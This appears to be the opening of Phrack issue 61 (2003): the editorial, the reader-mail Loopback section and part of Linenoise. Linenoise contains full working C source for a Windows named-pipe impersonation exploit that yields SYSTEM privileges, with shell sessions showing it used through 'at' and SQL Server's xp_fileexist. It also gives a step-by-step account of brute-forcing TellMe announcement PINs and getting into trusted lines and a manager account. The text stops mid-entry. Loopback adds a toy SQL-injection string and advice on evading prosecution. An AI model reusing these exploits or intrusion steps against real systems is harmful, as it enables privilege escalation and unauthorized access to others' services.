==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x01 of 0x0f [-]==========================================================================[-] @@@@@@@ @@@ @@@ @@@@@@@ @@@@@@ @@@@@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@ @@@ @@! @@@ @@! @@@ @@! @@@ @@! @@@ !@@ @@! !@@ !@! @!@ !@! @!@ !@! @!@ !@! @!@ !@! !@! @!! @!@@!@! @!@!@!@! @!@!!@! @!@!@!@! !@! @!@@!@! !!@!!! !!!@!!!! !!@!@! !!!@!!!! !!! !!@!!! !!: !!: !!! !!: :!! !!: !!! :!! !!: :!! :!: :!: !:! :!: !:! :!: !:! :!: :!: !:! :: :: ::: :: ::: :: ::: ::: ::: :: ::: : : : : : : : : : : :: :: : : :: . o O R E L O A D E D O o . [-]==========================================================================[-] *PENG* PHRACK #61 is out. What's new? P61 comes with a prophile again (DiGiT!). We changed the filenames of the articles (dos 8.3 is dead people!). I got bored of including this outdated and buggy phrack extraction utility in every phrack -- gone it iz! In this issue you'll find:16 jucy articles; a bunch of smaller articles (in linenoise); the usual 100% dumbness in loopback, and some Phrack World News with old skewl doodz. I admit it, we are 5 days behind the promised release date. Sorry. Some of you might already have enjoyed the beta-release that we gave out a few days ago to some authors and ircs junkees. Others might have spotted one of the many leaked (and modified) versions of these beta-releases. Be warned, we dont give any warranty for the correctness of the article or code, especially for an unofficial version. Hell, I saw one #61 version today which contains articles I've never seen before and a prophile of someone we would not prophile :> TO MAKE IT EASIER FOR YOU: ALL DA DOMAINZ ARE BELONG TO UZ. http://www.phrack.org <-- original http://www.phrack.com <-- old skewl http://www.phrack.net <-- donated Phrack got some media coverage for releasing the gps jammer article. We received a high amount of emails from .gov/.mil subdomains telling us that MS exchange cant read 'this strange uudecode format'. We amused ourself for 8 month, thnx: http://www.phrack.org/dump/phrack_gps_jammer.png __^__ __^__ ( ___ )-------------------------------------------------------------( ___ ) | / | 0x01 Introduction Phrack Staff 0x09 kb | \ | | / | 0x02 Loopback Phrack Staff 0x0b kb | \ | | / | 0x03 Linenoise Phrack Staff 0x33 kb | \ | | / | 0x04 Toolz Armory Phrack Staff 0x06 kb | \ | | / | 0x05 Phrack Prophile on DiGiT Phrack Staff 0x10 kb | \ | | / | 0x06 Advanced Doug Lea's malloc exploits jp 0x5c kb | \ | | / | 0x07 Hijacking Linux Page Fault Handler buffer 0x1c kb | \ | | / | 0x08 The Cerberus ELF interface mayhem 0x3f kb | \ | | / | 0x09 Polymorphic Shellcode Engine CLET team 0xfb kb | \ | | / | 0x0a Infecting Loadable Kernel Modules truff 0x25 kb | \ | | / | 0x0b Building IA32 Unicode-Proof Shellcodes obscou 0x2d kb | \ | | / | 0x0c Fun with Spanning Tree Protocol O.K. Artemjev 0x25 kb | \ | | / | Vladislav V. Myasnyankin | \ | | / | 0x0d Hacking da Linux Kernel Network Stack bioforge 0x4a kb | \ | | / | 0x0e Kernel Rootkit Experiences stealth 0x0c kb | \ | | / | 0x0f Phrack World News Phrack Staff 0x37 kb | \ | | / |---------------------------------------------------------------| \ | | / | Morpheus: Do you believe in fate, Neo? | \ | | / | Neo: No. | \ | | / | Morpheus: Why not? | \ | | / | Neo: Because I don't like the idea that I'm not in control of | \ | | / | my life. | \ | |___|_____________[ PHRACK, NO FEAR & NO DOUBT ]_________________|___| (_____)-------------------------------------------------------------(_____) ^ ^ Shoutz: justin, nar, muskrat, optimist, _dose and Hassanine Adghirni. Enjoy the magazine! Phrack Magazine Vol 11 Number 61, Build 5, Aug 13, 2003. ISSN 1068-1035 Contents Copyright (c) 2003 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : phrackstaff@phrack.org Submissions : phrackstaff@phrack.org Commentary : loopback@phrack.org Phrack World News : pwn@phrack.org Note: You must put the word 'ANTISPAM' somewhere in the Subject-line of your email. All others will meet their master in /dev/null. We reply to every email. Lame emails make it into loopback. |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.2.1 (GNU/Linux) mQGiBD8t3OARBACWTusKTxboeSode33ZVBx3AlgMTQ8POA+ssRyJkyVVbrruYlLY Bov43vxEsqLZXrfcuCd5iKKk+wLEjESqValODEwaDeeyyPuUMctrr2UrrDlZ2MDT f7LvNdyYFDlYzFwSc9sesrNQ78EoWa1kHAGY1bUD2S7ei1aEU9r/EUpFxwCgzLjq TV6rC/UzOWntwRk+Ct5u3fUEAJVPIZCQOd2f2M11TOPNaJRxJIxseNQCbRjNReT4 FG4CsHGqMTEMrgR0C0/Z9H/p4hbjZ2fpPne3oo7YNjnzaDN65UmYJDFUkKiFaQNb upTcpQESsCPvN+iaVkas37m1NATKYb8dkKdiM12iTcJ7tNotN5IDjeahNNivFv4K 5op7A/0VBG8o348MofsE4rN20Qw4I4d6yhZwmJ8Gjfu/OPqonktfNpnEBw13RtLH cXEkY5GY+A2AapDCOhqDdh5Fxq9LMLKF2hzZa5JHwp6HcvrYhIyJLW8/uspVGTgP ZPx0Z3Cp4rKmzoLcOjyvGbAWUh0WFodK+A4xbr8bEg9PH5qCurQlUGhyYWNrIFN0 YWZmIDxwaHJhY2tzdGFmZkBwaHJhY2sub3JnPohfBBMRAgAfBQI/LdzgBQkDFwQA BAsHAwIDFQIDAxYCAQIeAQIXgAAKCRC8vwVck0UfSeo1AJ42bPrG2L0Nlun1Fthn gYlx/9nUiACeJo5tMKlr/JcdKqeEfpNIm4GRmLq5Ag0EPy3dChAIALK9tVpuVImJ REXqf4GeR4RkxpAO+8Z2RolTgESW6FfJQcCM8TKeLuGWE2jGKGWKtZ68m+zxgYBK z+MOKFvlduktqQpyCJP/Mgdt6yy2aSEq0ZqD1hoqiGmoGdl9L6+VD2kUN6EjWCiv 5YikjgQaenSUOmZZR0whuezxW9K4XgtLVGkgfqz82yTGwaoU7HynqhJr7UIxdsXx dr+y7ad1clR/OgAFg294fmffX6UkBjD5c2MiX/ax16rpDqZii1TJozeeeM7XaIAj 5lgLLuFZctcWZjItrK6fANVjnNrEusoPnrnis4FdQi4MuYbOATNVKP00iFGlNGQN qqvHAsDtDTcABAsH/1zrZyBskztS88voQ2EHRR+bigpIFSlzOtHVDNnryIuF25nM yWV10NebrEVid/Um2xpB5qFnZNO1QdgqUTIpkKY+pqJd3mfKGepLhQq+hgSe29HP 45V6S6ujLQ4dcaHq9PKVdhyA2TjzI/lFAZeCxtig5vtD8t5p/lifFIDDI9MrqAVR l1sSwfB8qWcKtMNVQWH6g2zHI1AlG0M42depD50WvdQbKWep/ESh1uP55I9UvhCl mQLPI6ASmwlUGq0YZIuEwuI75ExaFeIt2TJjciM5m/zXSZPJQFueB4vsTuhlQICi MXt5BXWyqYnDop885WR2jH5HyENOxQRad1v3yF6ITAQYEQIADAUCPy3dCgUJAxcE AAAKCRC8vwVck0UfSfL/AJ9ABdnRJsp6rNM4BQPKJ7shevElWACdHGebIKoidGJh nntgUSbqNtS5lUo= =FnHK -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x02 of 0x0f |=----------------------=[ L O O P B A C K ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-----------------------=[ Phrack Staff ]=-----------------------------=| The good stuff. [1] http://segfault.net/~bbp/BSD-heap-smashing.txt The funny stuff (defaced openbsd poster). [1] http://stargliders.org/phrack/mmhs.jpg Russian interview: [1] http://www.bugtraq.ru/library/underground/phrack.html GPS Jammer hypes [1] http://computerworld.com/industrytopics/defense/story/0,10801,77702,00.html [2] http://computerworld.com/governmenttopics/government/story/0,10801,79783,00.html [3] http://computerworld.com/securitytopics/security/story/0,10801,77702,00.html [4] http://www.phrack.org/dump/phrack_gps_jammer.png www.madonna.com hacked, phrack is innocent. [1] http://www.thesmokinggun.com/archive/madonnasplash1.html [2] http://www.cnn.com/2003/TECH/internet/04/28/hackers.madonna.reut/index.html Quote of the day (as seen on irc): "Give me an eMail and I'll move the world." We receive a lot of stupid emails as par for the course in each round of phrack. However, we have some real gems for you this time. Ok, let's see with what lameness the audience came up with. Enjoy Loopback :> |=[ 0x01 ]=--------------------------------------------------------------=| From: echo_zero@mail.com yo... wassup ppl? lengedary group! the great masters r all here... Congratulations for all u have done for hacking community. i wish to be like u some day. long live the hackers! STAY COOL BE HAPPY [ y0, da great masta speaking. Thnx bro! Enj0y #61. Keep it r3al! ] |=[ 0x02 ]=--------------------------------------------------------------=| From: '; OR --%20 [ note his elite technique ] Hi, this is me checking if i can inject SQL commands into thy webservor. Article's awesome. [ did it work? ] |=[ 0x03 ]=--------------------------------------------------------------=| From: "scott johnstone" Subject: Beer Generator ANTISPAM Greets. It occurs to me that an interesting way to generate some operating capital for Phrack would be to sell to spammers the e-mail addresses of all the silly newblets that ask for basic hacking tutorials and shit like that. Granted it wouldn't be financing any phrackmobiles with rocket boosters but it might pay for a 6-pack for the guy who handles the loopback ;) [ done. now hurry up and order some of that penis enlargement cream -- we get 20% ] |=[ 0x04 ]=--------------------------------------------------------------=| From: Subject: your PGP key What the hell is the point of posting a PGP key that has only this many signatures? $ gpg --list-sigs phrackstaff pub 1024D/3EEEDCE1 2001-05-05 phrackstaff sig EF881DEC 2001-03-03 Binary Fus10n sig D7C776BF 2001-03-03 [User id not found] sig 75E90D2C 2001-12-29 Calle Lidstrom sig 3 3EEEDCE1 2001-05-05 phrackstaff sub 2048g/1B6B493C 2001-05-05 [expires: 2031-04-28] sig 3EEEDCE1 2001-05-05 phrackstaff [ Conclusion: Not our key. Cause: Someone tricked you. Solution: Get our latest key from the latest phrack release. Remember: Stop writing us. You suck. ] |=[ 0x05 ]=--------------------------------------------------------------=| From: serased@yahoo.com y'all suck you guysa are illegal and you know it can't wait till the government bust your ass [ we might be illegal, but we can frame you for it ] |=[ 0x06 ]=--------------------------------------------------------------=| From: Furys_Child@hotmail.com Subject: Phrack Loopback Hello anyone, I am sending out this message to ask for help. I want to learn the basics of hacking any way I can. [ Today's lesson: "How to get subscibed to a paedophile mailing list" Step 1. Ask phrackstaff to teach you how to hack Step 2. Wait ] |=[ 0x07 ]=--------------------------------------------------------------=| From: changiz_a@yahoo.com Subject: Hide phone number I want to others can not see my phone number (home phone and cell phone) how can I do this ? [ by not using the phone. ] |=[ 0x08 ]=--------------------------------------------------------------=| From: Glenn Wekony Subject: Re: Message from Glenn Wekony ANTISPAM [ ... a bunch of lame questiones about wifi hacking here ... ] [ .. ] I am delibrately using my real name and am not a police officer or a federal agent. I tell you this in the hope you will answer my e-mail and not sound suspicious. If you do not return my e-mail, I understand. Thanx, Glenn. [ No doubt you are not a fed. The feds stopped bugging us about wifi hacking techniques when they figured out how to use google. ] |=[ 0x09 ]=--------------------------------------------------------------=| From: Max Gastone > Would Phrack be interested in an article on how > current radical environmental & animal rights groups > are using the internet and email systems against > target companies, in particular taking on large > company's email systems and giving them a hammering > using novel protests techniques akin to DDoS (but not > quite that)? Would include info on several software > tools developed solely for this purpose. [ "When I was a child, I talked like a child, I thought like a child, I reasoned like a child. When I became a man, I put childish ways behind me." (the holy bible, Paul, in his first letter to the Cor. 13:11). ] |=[ 0x0a ]=--------------------------------------------------------------=| I need to be a haX0r says my mUm. bcuse I jerk off too much and I need somthing better to do wiht the 2 hours my mom lets me have to use the FaMily winbook. My Unckle billlyfish (his fucking hacksor name) told me that if I brake N2 nasa and steal the new rockit blueprints then give them to you so we/you or us/me can get together all of the 0day hackers (im not gay...just curious) and fly off to amsterdam where Heroin is legal that you will give me a hard copy set of Phrack issues 1-50. Piss on them who dont like shit. lol. hahaha lamers suck. I am only 27 but I should be sneaking out of my moms basement soon...like tonight to go to an internet cafe to masturbate because my 2 hours of Pleasureful winbook time are almost over. If you can muster up the fucking strengh tell me how to brake into nasa so i can claim me prize mate I would be as gracious as a dog with peanut butter Spo0ned up his asS. [ Actually you sounded quite smart until the last 2 sentences ] PS If you make funny out of me then I promise I wont send the rocketshit planz to you and I will keep them for myself and take all of the hardcopys out of the back of that mini-gurlish SUV when i gets to holland. Dig. By the way, after we work out a deal, you can send me my hard copy set through my paypal account. (I have the biggest eshop on geocities...) [ Fortunately, it's over, you started to become boring ] |=[ 0x0b ]=--------------------------------------------------------------=| From: unit321 if i put a disclaimer on my phrack submission, will anyone be able to prosecute me? in the USA? [ Depends on which country you live in. Some countries tend to change the law whenever a new president is in charge. A disclaimer seldomly helps. Known technniques like leaving the country or using an anonymous email account do help. ] |=[ 0x01 ]=--------------------------------------------------------------=| Hello, Are you being harrased by government or law enforcement? [ Of course we are! ] |=[ 0x0c ]=--------------------------------------------------------------=| From: d.r.hedley Subject: question I was wanting to look at your anarchy cookbook iv,ver 4.14. but when i go to it. it says to " <-------- set your browser to this width minimal ------->". it say's that if you set your browser to the width proposed, then you'll have no problem viewing the cookbook. Question: how do you set your browser to the arrows that you have too - to be able to view the anarchist cookbook iv, ver 4.14 [ It's a secret cipher. Put your monitor upside down. There are some wheels or some buttons at the bottom of you monitor. Use them to adjust the horizontal width. Enlighted? ] |=[ 0x0d ]=--------------------------------------------------------------=| Hiya guys, Bread here. [ HIYA! staff-grunt here. ] Just thought I'd try and submit an article. If I am successful, many more articles will be one there way. Its' an article on the Ping Command which I wrote about a month ago. Anyway, I hope you enjoy it and are able to actually publish it. Thanks for your time, Bread [ Can't wait to read the other articles. Please go ahead an email them to us. All the serious articles have to be send to loopback@phrack.org from now on. To the content: Be warned, once you discover the -f flag you are close to discover winnuke, bo2k, .... We compressed your article to 1 line and will publish it right here: $ ping -h Regards, Phrack Staff ] |=[ 0x0e ]=--------------------------------------------------------------=| From: "Ludootje" [ Luser saying that we should publish an article he already published elsewhere, citing as a precedent "The Hackers Manifesto". ] " [..] but I suppose "The Hackers Manifesto" wasn't first posted on phrack..." [ It was. 1986. http://www.phrack.org/phrack/7/P07-03. ] |=[ 0x0f ]=--------------------------------------------------------------=| ... to actually make use of the Phrack article: "Below is the schematic diagram (gps_jammer.ps) in an uuencoded gzipped PostScript file. This is the native Xcircuit[12] format and is used for ease of viewing, printing and modification." How many FBI agents weaned on Windows will it take to get past the first hurdle: uuencoded? [ So many that after 8 month we decided to help them out: http://www.phrack.org/dump/phrack_gps_jammer.png Or for the advanced agent: $ uudecode p60-0x0d.txt && gunzip -d gps_jammer.ps.gz && \ gv gps_jammer.ps ] |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x03 of 0x0f |=---------------------=[ L I N E N O I S E ]=---------------------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ Phrack Staff ]=-----------------------------=| Everything that does not fit somewhere else can be found here. Corrections and additions to previous articles, to short articles or articles that just dont make it....everything. Contents 1 - Windows named pipes exploitation by DigitalScream 2 - How to hack into TellMe by Archangel 3 - Shitboxing by Agent5 4 - PalmMap v1.6 - Nmap for Palm by Shaun Colley 5 - Writing Linux/mc68xxx shellcode by madcr 6 - Finding hidden kernel modules (the extrem way) by madsys 7 - Good old floppy bombs by Phrick |=-----------------------------------------------------------------------=| |=-=[ 1 - Windows named pipes exploitation ]=----------------------------=| |=-----------------------------------------------------------------------=| by DigitalScream / SecurityLevel5 All latest versions of Microsoft Windows family operation systems are based on Windows NT kernel. This fact has positive impact for both remote and local security of Windows world. There are still some thin places though allowing obtaining Local System privileges on the local computer leading to the full system compromise. Usually this is because different buffer overruns in stack or heap in system services, like in case of any operation system. However we should not forget about system specific bugs because of abnormal behavior of system functions. This kind of bugs is very system dependant and from time to time is discovered in different OS. Of cause, Windows is not exception. Specific bugs are usually having impact on local users. Of cause, this is not a kind of axiom, but local user has access to larger amount of the system API functions comparing with remote one. So, we are talking about possibility for local user to escalate his privileges. By privilege escalation we mean obtaining privileges of Local System to have no limitations at all. Now there are few ways to get it, I will talk about new one. According to MSDN to launch application with different account one must use LogonUser() and CreateProcessAsUser() functions. LogonUser() requires username and password for account we need. 'LogonUser()' task is to set SE_ASSIGNPRIMARYTOKEN_NAME and SE_INCREASE_QUOTA_NAME privileges for access token. This privileges are required for CreateProcessAsUser(). Only system processes have these privileges. Actually 'Administrator' account have no enough right for CreateProcessAsUser(). So, to execute some application, e.g. 'cmd.exe' with LocalSystem account we must have it already. Since we do not have username and password of privileged user we need another solution. In this paper we will obtain 'LocalSystem' privileges with file access API. To open file Windows application call CreateFile() function, defined below: HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); To open file we must call something like HANDLE hFile; hFile=CreateFile(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); For advanced Windows programmer it's clear that this function has more application rather than only opening ordinary files. It's used to openor create new files, directories, physical drives, and different resources for interprocess communication, such as pipes and mailslots. We will be concerned with pipes. Pipes are used for one-way data exchange between parent and child or between two child processes. All read/write operations are close to thesame file operations. Named Pipes are used for two-way data exchange between client and server or between two client processes. Like pipes they are like files, but can be used to exchange data on the network. Named pipe creation example shown below: HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); |=----------------------------------------------------------------------=| Named pipe's name can vary, but it always has predefined format. The example of valid name is '\\.\pipe\GetSys'. For Windows, '\\.\' sequence always precedes filename, e.g. if "C:\boot.ini" is requested system actually accesses '\\.\C:\boot.ini'. This format is compatible with UNC standard. With basic knowledge of named pipes operations we can suppose there can be a way to full application to access named pipe instead of user supplied file. For example, if we created named pipe "\\.\pipe\GetSys" we can try to force application to access "\\ComputerName\pipe\GetSys". It gives us a chance to manipulate with access token. Impersonation token is access token with client's privileges. That is, this is possibility for server to do something on client's behalf. In our case server is named pipe we created. And it becomes possible because we are granted SecurityImpersonation privilege for client. More precisely, we can get this privilege. If client application has privileges of local system we can get access to registry, process and memory management and another possibilities not available to ordinary user. This attack can be easily realized in practice. Attack scenario for this vulnerability is next: 1. Create name pipe Wait client connect after named pipe is created. 2. Impersonate client Because we assume client application has system rights we will have them too. 3. Obtain required rights. In fact, we need only - SE_ASSIGNPRIMARYTOKEN_NAME - SE_INCREASE_QUOTA_NAME - TOKEN_ALL_ACCESS - TOKEN_DUBLICATE This is all we need for CreateProcessAsUser() function. To obtain rights we need new token with TOKEN_ALL_ACCESS privelege. And we can do it, because we have privileges of client process. Execute code of our choice It could be registry access, setting some hooks or random commands with system privileges. Last one is most interesting, because we can execute standalone application of our choice for our specific needs. As it was said before, now I can execute CreateProcessAsUser() with system privileges. I back to beginning, but this time I have all required privileges and 'LocalSystem' is under my thumb. There is no problem to realize this approach. As an example, we will use working exploit by wirepair at sh0dan.org based on the code of maceo at dogmile.com. #include #include int main(int argc, char **argv) { char szPipe[64]; DWORD dwNumber = 0; DWORD dwType = REG_DWORD; DWORD dwSize = sizeof(DWORD); DWORD dw = GetLastError(); HANDLE hToken, hToken2; PGENERIC_MAPPING pGeneric; SECURITY_ATTRIBUTES sa; DWORD dwAccessDesired; PACL pACL = NULL; PSECURITY_DESCRIPTOR pSD = NULL; STARTUPINFO si; PROCESS_INFORMATION pi; if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } memset(&si,0,sizeof(si)); sprintf(szPipe, "\\\\.\\pipe\\GetSys"); // create named pipe"\\.\pipe\GetSys" HANDLE hPipe = 0; hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { printf ("Failed to create named pipe:\n %s\n", szPipe); return 2; } printf("Created Named Pipe: \\\\.\\pipe\\GetSys\n"); // initialize security descriptor to obtain client application // privileges pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,SECURITY_DESCRIPTOR_MIN_LENGTH); InitializeSecurityDescriptor(pSD, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE); sa.nLength = sizeof (SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = pSD; sa.bInheritHandle = FALSE; printf("Waiting for connection...\n"); // wait for client connect ConnectNamedPipe (hPipe, NULL); printf("Impersonate...\n"); // impersonate client if (!ImpersonateNamedPipeClient (hPipe)) { printf ("Failed to impersonate the named pipe.\n"); CloseHandle(hPipe); return 3; } printf("Open Thread Token...\n"); // obtain maximum rights with TOKEN_ALL_ACCESS if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) { if (hToken != INVALID_HANDLE_VALUE) { printf("GetLastError: %u\n", dw); CloseHandle(hToken); return 4; } } printf("Duplicating Token...\n"); // obtain TOKEN_DUBLICATE privilege if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED, &sa,SecurityImpersonation, TokenPrimary, &hToken2) == 0) { printf("error in duplicate token\n"); printf("GetLastError: %u\n", dw); return 5; } // fill pGeneric structure pGeneric = new GENERIC_MAPPING; pGeneric->GenericRead=FILE_GENERIC_READ; pGeneric->GenericWrite=FILE_GENERIC_WRITE; pGeneric->GenericExecute=FILE_GENERIC_EXECUTE; pGeneric->GenericAll=FILE_ALL_ACCESS; MapGenericMask( &dwAccessDesired, pGeneric ); dwSize = 256; char szUser[256]; GetUserName(szUser, &dwSize); printf ("Impersonating: %s\n", szUser); ZeroMemory( &si, sizeof(STARTUPINFO)); si.cb = sizeof(si); si.lpDesktop = NULL; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; printf("Creating New Process %s\n", argv[1]); // create new process as user if(!CreateProcessAsUser(hToken2,NULL, argv[1], &sa, &sa,true, NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) { printf("GetLastError: %d\n", GetLastError()); } // wait process to complete and exit WaitForSingleObject(pi.hProcess,INFINITE); CloseHandle(hPipe); return 0; } This vulnerability gives a chance for us to obtain system privileges on local computer. The only condition is system process must access this channel. This condition is easy to reproduce with system services. For example: [shell 1] >pipe cmd.exe Created Named Pipe: \\.\pipe\GetSys Waiting for connection... [shell 2] >time /T 18:15 >at 18:16 /interactive \\ComputerName\pipe\GetSys New task added with code 1 [shell 1] Impersonate... Open Thread Token... Duplicating Token... Impersonating: SYSTEM Creating New Process cmd.exe Now we have new instance of cmd.exe with system privileges. It means user can easily obtain privileges of local system. Of cause reproduce this situation is easy only in case, there is a service, which can access files on user request. Because 'at' command requires at least power user privileges and may be used to launch cmd.exe directly, without any named pipe this example is useless. In practice, this vulnerability may be exploited for privilege escalation by the local user if Microsoft SQL Server is installed. SQL server runs with system privileges and may be accessed with unprivileged user. @Stake reported vulnerability in xp_fileexist command. This command checks for file existence and we can use it to access our named pipe. Attack scenario is nearly same: [shell 1] >pipe cmd.exe Created Named Pipe: \\.\pipe\GetSys Waiting for connection... [shell 2] C:\>isql -U user Password: 1> xp_fileexist '\\ComputerName\pipe\GetSys' 2> go File Exists File is a Directory Parent Directory Exists ----------- ------------------- ----------------------- 1 0 1 [shell 1] Impersonate... Open Thread Token... Duplicating Token... Impersonating: SYSTEM Creating New Process cmd.exe At the end, it's good to point that this vulnerability exists in Windows NT/2000/XP and is patched with Windows 2000 SP4 and on Windows 2003. A big thank to ZARAZA(www.security.nnov.ru), without him, nothing could be possible. [1] Overview of the "Impersonate a Client After Authentication" http://support.microsoft.com/default.aspx?scid=kb;[LN];821546 [2] Exploit by maceo http://www.securityfocus.com/archive/1/74523 [3] Exploit by wirepair http://www.securityfocus.com/archive/1/329197 [4] Named Pipe Filename Local Privilege Escalation www.atstake.com/research/advisories/2003/a070803-1.txt [5] Service Pack 4 for Windows 2000 http://download.microsoft.com/download/b/1/a/ b1a2a4df-cc8e-454b-ad9f-378143d77aeb/SP4express_EN.exe |=-----------------------------------------------------------------------=| |=-=[ 2 - How to hack into Tellme ]=-------------------------------------=| |=-----------------------------------------------------------------------=| How to get into the Tell-Me network. (1-800-555-tell) This is a representation of someone's thoughts. Thoughts cannot be owned by another person. Use this thought as you see fit, it is yours to duplicate or use as you please. By Archangel (Formerly of the P.H.I.R.M.) Archangel Systems http://the.feds.are.lookingat.us -------------------------------------- What is the Tell-Me system? =========================== TellMe is a high-tech voice activated phone site with internet connectivity, and even a voice activated browser. It is the ultimate goal of TellMe to have the whole of the internet voice activated. The system is quite sophisticated by today's standards, though I'm sure that tomorrow's readers will find the efforts to be quite primative to say the least. A free phone call gives the listener access to news, sports, weather, etc. Even movie listings. Other areas provide for private announcements, or even voice activated web-sites. In other words, it is now possible, through TellMe, to dial a phone number, and listen to a website. Tell me is a subsidiary of CNET, a giant (at the time of this writing) on the internet. What security flaws were exploited? =================================== Well, I guess it's nut-cutting time. TellMe has a VERY SERIOUS security flaw which can allow unauthorized access to the system within a matter of hours. As I tried to hack into my own account, I realized that TellMenu announcements only have a 4 digit numeric password. Here's what you do: - You dial 1-800-555-tell. - You will get an automated banner-ad followed by a menu discribing various TellMe features. - You must say the word "Announcements", or dial "198" on the keypad. This will take you to the announcements area. - Once in the announcements area, you will need to punch in the announcement number, which is a seven digit number assigned to you by the TellMe computer. - Type in any announcement number you wish (I tried with my own one first, as this was an experiment to see if I could hack in and change my own announcement). The computer says "Ok, here is your announcement." Then I heard a recording of The Baron Telling what a whimp I am. - This was followed by the computer saying: Please type in another announcement number, or say "Main Menu" to continue. If you are the announcement manager, please use you telephone keypad to enter your password to edit the announcement. If you remain silent, the computer will say: "Please enter your 4 digit password." FOUR DIGITS????? Were they serious? Now here's the kicker: TELLME WON'T DISCONNECT YOU IF YOU FAIL 3 TIMES IN A ROW!!! Yes, ladies and gentlement, keep trying to your heart's content. No penalties. Obviously a Brute Force hack was in order. I handled it by dusting off a *VERY* old wardialer. I sat on an extention line, due to the limitations of the dialer, and listened to it punching in access codes. When it succeeded, I could pause the wardialer program. I would be able to look at the screen, and see what the last couple of attempted numbers were, manually dial them in, and gain access. I know there are easier methods, but this is what I did. The Baron had mercifully chosen a low number, and I was in, changing the message in about ten minutes. I then tried two other *SAFE* messages, that I would not get in trouble for, if changed. I gained access, respectively, in 45 and 90 minutes (More or less). My math told me that the maximum time to Brute Force a TellMe announcement was about three hours. Is that it? No, while having the ability to change any announcement may be a lot of fun, there is a far more intersting hack that you can do on TellMe. Remember how when you first sign on, you have to say "announcements"? Try saying the word "Extensions". You may be quite surprised at what you find. What are Tell-Me extensions? ============================ Tell-Me extensions are that part of the Tellme network, which they have offered to the world to produce the voice activated web pages. Here is what you do. - Say "Extensions". You will be taken to the extensions area, and asked to punch in an extension number. This is a five digit number. It was time again for my ancient wardialer to do it's stuff. (Once again, no penalty for incorrect guesses!) First off, it is important at this point to mention that TellMe is a dying concern. Most of the extensions are empty. The only extensions still operating, are some extensions created by individual developers, Die-hard developers, and (This is important later) TellMe's *own* extensions. Apparently, the idea was to use the extension number as a kind of password, as there is no directory, and one must already know the extension number in order to gain access. I checked into The San Remo hotel here in Las Vegas, under my girlfriend's name, and spent the night hacking. Here's what I have come up with so far: Extension 76255: ---------------- This leads to a very bizarre game of Rock/Paper/Scissors. It is one of the wierdest things that I have ever come across in all my days. I HIGHLY suggest you try it. It is like some whiney hillbilly guy...well see fer yerself! Extension 11111: ---------------- A gypsy with an eight ball. You ask it questions, and it gives you answers. There are no disclaimers, so I guess this is the real deal! Saying "quit" or "Stop" won't help you. Just shut the hell up, and it will kick you back into regular Tell-Me. Extension 33333: ---------------- Produces the words "HELLO WORLD" Extension 34118: ---------------- Produces a directory of TellMe's offices, with the regular phone numbers. Most of the worthy extensions consisted of foul language, so anyone under 18 should stop reading now... Use the letters on your telephone keypad, and you will get some very intersting results. These are five letter words corresponding to the numbers on your phone. CUNTS - Produces a string of numbers of unknown meaning. Just a long string of a computer voice saying "one, five, seven, three, twelve, eighty-eight" etc. I'll figure out what that means later. TITTY - This produces a fax tone, as opposed to a computer tone. I didn't mess with it. PENIS - This produces a verbal message about the sendmail system. HOLES - This is the Quote of the Day. BOOBS - This has to do with HTTP protocols. SHIT0 - This is a directory of phone lines in the TellMe system. FUCK0 - This is a very interesting directory of phone lines in the TellMe system. Two of the lines appear to be trusted lines, providing a computer tone which I used to log on. There was a first time user option, which gave me a manager's account. (Do they have hundreds of managers?) What can it do? I was able to delete my own account and bring it back. I didn't fuck with anyone elses account. My goal is not to destroy, but to learn. PISS0 - As above, the TellMe system addresses me with a choice of talking to a live person, or an automated directory of phone lines. I'm amazed this is all behind a five digit password. Damn0 - Yet another directory of trusted phone lines. This one, however askes you for another password right up front, so I'm assuming this is a more security sensative area! Pussy - A discription of how 